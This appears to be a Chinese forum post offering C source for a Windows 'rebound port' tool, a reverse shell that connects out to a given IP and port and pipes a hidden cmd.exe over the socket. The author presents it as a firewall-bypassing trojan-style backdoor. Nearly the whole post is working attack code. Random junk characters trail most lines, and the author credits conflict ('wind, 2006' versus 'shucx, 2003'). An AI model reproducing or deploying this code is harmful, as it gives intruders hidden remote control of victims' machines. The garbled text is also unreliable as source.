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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xlcL;e&^P  
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/* ============================== nEt{ltsS0  
Rebound port in Windows NT -e4TqzRr  
By wind,2006/7 s_;o1 K0  
===============================*/ .H@b zm  
#include ?}e^-//*i  
#include JIiS/]KQ  
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#pragma comment(lib,"wsock32.lib") lqTc6@:D  
!,|-{":  
void OutputShell(); A?bqDy  
SOCKET sClient; mBeP" GS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ds2%i  
h% eGtd$n  
void main(int argc,char **argv) "Zfm4Nx "  
{ L} "bp  
WSADATA stWsaData; uUiS:Tp]  
int nRet; #;[0:jU0  
SOCKADDR_IN stSaiClient,stSaiServer;  + \]-"  
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if(argc != 3) PN3 Qxi4F  
{ to'CuPkT  
printf("Useage:\n\rRebound DestIP DestPort\n"); W#+f2 RR  
return; k;B[wEW@  
} "F =NDF  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7},oY"" 8  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @j!(at4B  
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stSaiClient.sin_family = AF_INET;  )m#Y^  
stSaiClient.sin_port = htons(0); #M||t|9iu?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H $ %F0'0  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h w ^ V  
{ Wco2i m  
printf("Bind Socket Failed!\n"); EDz;6Z*4N  
return; @ x .`z  
} eR,/} g\  
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stSaiServer.sin_family = AF_INET; \WBO(,]V  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {sf ,(.W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8k3y"239t  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <S=( `D  
{ fgs@oaoZ  
printf("Connect Error!"); $E&T6=Wn  
return; (uDAdE5  
} H[nco#  
OutputShell(); !uoT8BBAk  
} \gA<yz-;N  
 ?HRS*  
void OutputShell() ImG8v[Q E  
{ <5D4h!  
char szBuff[1024]; 5'NNwc\  
SECURITY_ATTRIBUTES stSecurityAttributes; ii_kgqT^  
OSVERSIONINFO stOsversionInfo; IA<>+NS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8^^ 1h  
STARTUPINFO stStartupInfo; Pjk2tf0j`  
char *szShell; "9r$*\wOf  
PROCESS_INFORMATION stProcessInformation; _?:jZ1wZ  
unsigned long lBytesRead; g<(!>:h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); aXQS0>G%(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dVYY:1PS  
stSecurityAttributes.lpSecurityDescriptor = 0; =3c?W&:  
stSecurityAttributes.bInheritHandle = TRUE; t VO}{[U}  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6i-G{)=l  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YTFU# F  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); haBmwq(f  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =]]1x_GB  
stStartupInfo.wShowWindow = SW_HIDE; |YsR;=6wT  
stStartupInfo.hStdInput = hReadPipe; iphC\*F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j &,Gv@  
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GetVersionEx(&stOsversionInfo); sBB[u'h!  
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switch(stOsversionInfo.dwPlatformId) ']TWWwj$  
{ W,NqevXo:  
case 1: 1R3,Z8j'  
szShell = "command.com"; ttUK~%wSx  
break; L&DjNu`!9  
default: g%l ,a3"  
szShell = "cmd.exe"; F$)l8}  
break; 6w7;  
} \KnRQtlI  
}ofb]_C,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %h@1lsm1+  
j{OA%G(I  
send(sClient,szMsg,77,0); #0r~/gW  
while(1) n!4\w>h  
{ ]B,tCBt  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A|8"}Hm  
if(lBytesRead) `jGeS[FhR  
{ ;Y\LsmZ;F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0TmEa59P  
send(sClient,szBuff,lBytesRead,0); wx*?@f>u^  
} >t3_]n1e  
else u:f ]|Q  
{ ).;{'8Q  
lBytesRead=recv(sClient,szBuff,1024,0); 7S }0Kuk)  
if(lBytesRead<=0) break; uK@d?u!`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;&&<zWq3h  
} E`oA(x7l  
} UON=7}=$&  
9s^$tgH  
return; :s_> y_=g  
}
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